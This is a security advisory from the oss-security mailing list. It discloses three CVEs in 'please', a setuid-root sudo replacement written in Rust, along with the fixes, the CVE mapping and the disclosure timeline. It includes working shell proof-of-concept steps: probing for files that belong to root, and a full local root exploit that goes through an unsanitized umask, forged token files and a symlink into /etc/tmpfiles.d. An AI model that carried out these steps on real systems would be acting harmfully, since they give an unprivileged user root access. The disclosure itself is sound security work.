Date: Tue, 18 May 2021 12:15:53 +0200
From: Matthias Gerstner <mgerstner@...e.de>
To: oss-security@...ts.openwall.com
Subject: please: CVE-2021-31153,CVE-2021-31154,CVE-2021-31155: local root exploit and further security issues in sudo-like utility

Hello list,

"please" [1] is a sudo replacement written in Rust. Its author requested a code review for inclusion of the setuid-root binary in openSUSE [2].

I reviewed the source of please version 0.3.3 and found multiple security issues including a local root exploit (item 1.d) for users that are allowed to run a command. You can find the detailed report below.

1) Findings in `please`

a) Arbitrary File Existence Test and Arbitrary File Open via `-c`, `--check`

Arbitrary file existence test and arbitrary file open as root is possible via the `-c`, `--check` command line switch. This does not involve an information leak but triggers kernel logic not usually available to regular users e.g. when sockets or special devices are involved. It also allows the setuid-root program to run out-of-memory. Examples:

```
# runs OOM
user$ please -c /dev/zero
Killed

# reads the full block device until OOM occurs
user$ please -c /dev/sda
Killed

# this file exists (in my case)
user$ please -c /root/.bash_history
Error parsing /root/.bash_history:712
Error parsing /root/.bash_history:716
Error parsing /root/.bash_history:1380
Error parsing /root/.bash_history:1382
# this doesn't exist
user$ please -c /root/.something
```

The file existence test allows for a minimal information leak in terms of the involved line numbers output in the error messages.

b) Arbitrary File Existence Test via the `search_path()` function

Arbitrary file existence test is possible via the `search_path()` function, called in please.rs:254. Examples:

```
# this file doesn't exist
user$ please /root/.something
[please]: command not found

# this file exists (in my case)
user$ please /root/.bash_history
You may not execute "/root/.bash_history" on <host> as root
```

c) Arbitrary file existence test via the `-d` switch

This one also allows differentiation between dirs and files.

```
# here /root/.gnupg exists and is a directory
user$ please -d /root/.gnupg cat /etc/fstab
[<fstab content>]

# here /root/.bash_history exists but is not a directory
user$ please -d /root/.bash_history cat /etc/fstab
Cannot cd into /root/.bash_history: Not a directory (os error 20)

# here /root/.something does not exist at all
user$  please -d /root/.something  cat /etc/fstab
Cannot cd into /root/.something: No such file or directory (os error 2)
```

d) The Token Dir "/var/run/pleaser/token" is Created with Unsanitized umask

The token dir "/var/run/pleaser/token", if not existing, is created via Rust's `create_dir_all` and the process's umask is not sanitized. This allows the unprivileged user to influence the resulting directory permissions:

```
# the directory must not yet exist. If it does, a reboot can help out.
test -d /var/run/please && echo "token dir already exists, won't work!"
# clear umask
user$ umask 0

# run some arbitrary command, this needs to be allowed via /etc/please.ini
# but whether the password is successfully entered or not is unimportant
# at this point.
user$ please cat /etc/fstab
[please] password for user: ^C

# now the directories should have been created world-writable
user$ ls -lhd /var/run/please /var/run/please/token
drwxrwxrwx 3 root root 60 31. Mär 13:48 /var/run/please/
drwxrwxrwx 2 root root 40 31. Mär 13:48 /var/run/please/token

# now to grant us access to arbitrary configured commands w/o entering the
# user password
user$ touch /var/run/please/token/$USER:`tty | tr '/' '_'`:$$

# should now work w/o password
user$ please cat /etc/fstab
[<fstab content>]

# since symlinks are also followed in the token directory we can now create
# new world-writable files anywhere in the system after authentication
# succeeds. Already existing files can be truncated to size 0 this way.
user$ cd /var/run/please/token
user$ rm -f $USER:*
user$ ln -s /etc/tmpfiles.d/supersafe.conf $USER:`tty | tr '/' '_'`:$$
user$ please cat /etc/fstab
[please] password for user: <actual password>

# the file should now have been created world-writable
user$ ls -l /etc/tmpfiles.d/supersafe.conf
-rw-rw-rw- 1 root root 0 31. Mär 13:57 /etc/tmpfiles.d/supersafe.conf
# write some interesting content in there
user$ echo "d /root 0777 root root -" >/etc/tmpfiles.d/supersafe.conf
# reboot the local system e.g. via power button or display manager, then...
user$ ls -lhd /root
drwxrwxrwx 10 root root 4.0K 31. Mär 13:46 /root/
```

  ```

  So this more or less allows anybody who is allowed to execute at least one
  command with password authentication to perform a full local root exploit.

## 2) Findings in `pleaseedit`

## a) Predictable Temporary File Names in /tmp and the Target Directory

  pleaseedit uses predictable paths in /tmp and in the target directory via
  the functions `tmp_edit_file_name()` and `source_tmp_file_name()` and
  possibly others. Without the Linux kernel's symlink protection this would
  allow arbitrary file overwrite and ownership change if a regular user is
  allowed to edit any file via pleaseedit.

  Here is an excerpt of system calls performed in /tmp when editing /etc/fstab
  successfully:

  ```
  statx(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", AT_STATX_SYNC_AS_STAT, TA_ALL, 0x7fff21e4cd60) = -1 ENOENT (No such file or directory)
  openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", _WNLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0100600) = 4
  chown("/tmp/pleaseedit.user._etc_fstab", 1000, 100) = 0
  fchmodat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", 0600) = 0
  execve("/usr/bin/cat", ["/usr/bin/cat", "/tmp/pleaseedit.user._etc_m"...], x55afc490f0 /* 74 vars */) = 0
  openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", O_RDONLY) = 3
  openat(AT_FDCWD, "/tmp/pleaseedit.user._etc_fstab", O_RDONLY|O_CLOEXEC) = 3
  unlink("/tmp/pleaseedit.user._etc_fstab") = 0
  ```

  So the `openat()` calls do not include the `O_NOFOLLOW` flag to explicitly
  protect against symlinks existing there. Furthermore these paths should
  really be unpredictable in an `mkstemp()` manner.

  The `chown()` call would allow for a full local root exploit if not for the
  symlink protection mechanism. A race condition needs to be won, however,
  because the code tries to remove an existing file in this location first.

  In the target directory `pleaseedit` also potentially follows symlinks:

  ```
  openat(AT_FDCWD, "/etc/fstab.pleaseedit.copy.user", _WNLY|O_CREAT|O_TRUNC|O_CLOEXEC, 0100600) = 4
  ```

  So if the target directory is under control of a non-root user then this
  could also allow privilege escalation, this time there isn't even symlink
  protection available, because the target directory will not be
  sticky/world-writable. It requires two user accounts to "work
  together", however, the user that is invoking `please` and the user
  that is owning the target directory.

Bugfixes

I discussed and reviewed fixes for these issues (and for a couple of
other recommendations I gave) with the upstream author and they are part
of the v0.4.0 upstream release.

CVE assignments

- CVE-2021-31153: cummulative for all file and directory existence tests
  corresponding to findings 1.a, 1.b and 1.c.
- CVE-2021-31154: for the predictable temporary filenames in pleaseedit
  corresponding to finding 2.a.
- CVE-2021-31155: for the missing sanitation of the umask corresponding to
  finding 1.d.

Conclusion

Correctly implementing setuid-root binaries remains a challenge also in
modern programming languages like Rust. While the general design of
'please' was rather clean it was not implemented setuid aware at all.

Timeline

2021-03-17: Review request was created
2021-04-01: I shared the security findings with the upstream author and
            offered coordinated disclosure.
2021-04-14: I reviewed the final batch of fixes and we agreed on them.
2021-05-17: The embargo time frame was unclear for a longer time
            since Debian Linux updates needed to be prepared, but the
            upstream author already published the fixes on Gitlab. I
            received the official okay for publishing the full report
            only now.

[1]: https://gitlab.com/edneville/please.git
[2]: https://bugzilla.suse.com/show_bug.cgi?id=1183669

--
Matthias Gerstner <matthias.gerstner@...e.de>
Dipl.-Wirtsch.-Inf. (FH), Security Engineer
https://www.suse.com/security
Phone: +49 911 740 53 290
GPG Key ID: 0x14C405C971923553

SUSE Software Solutions Germany GmbH
HRB 36809, AG Nürnberg
Geschäftsführer: Felix Imendörffer
  ```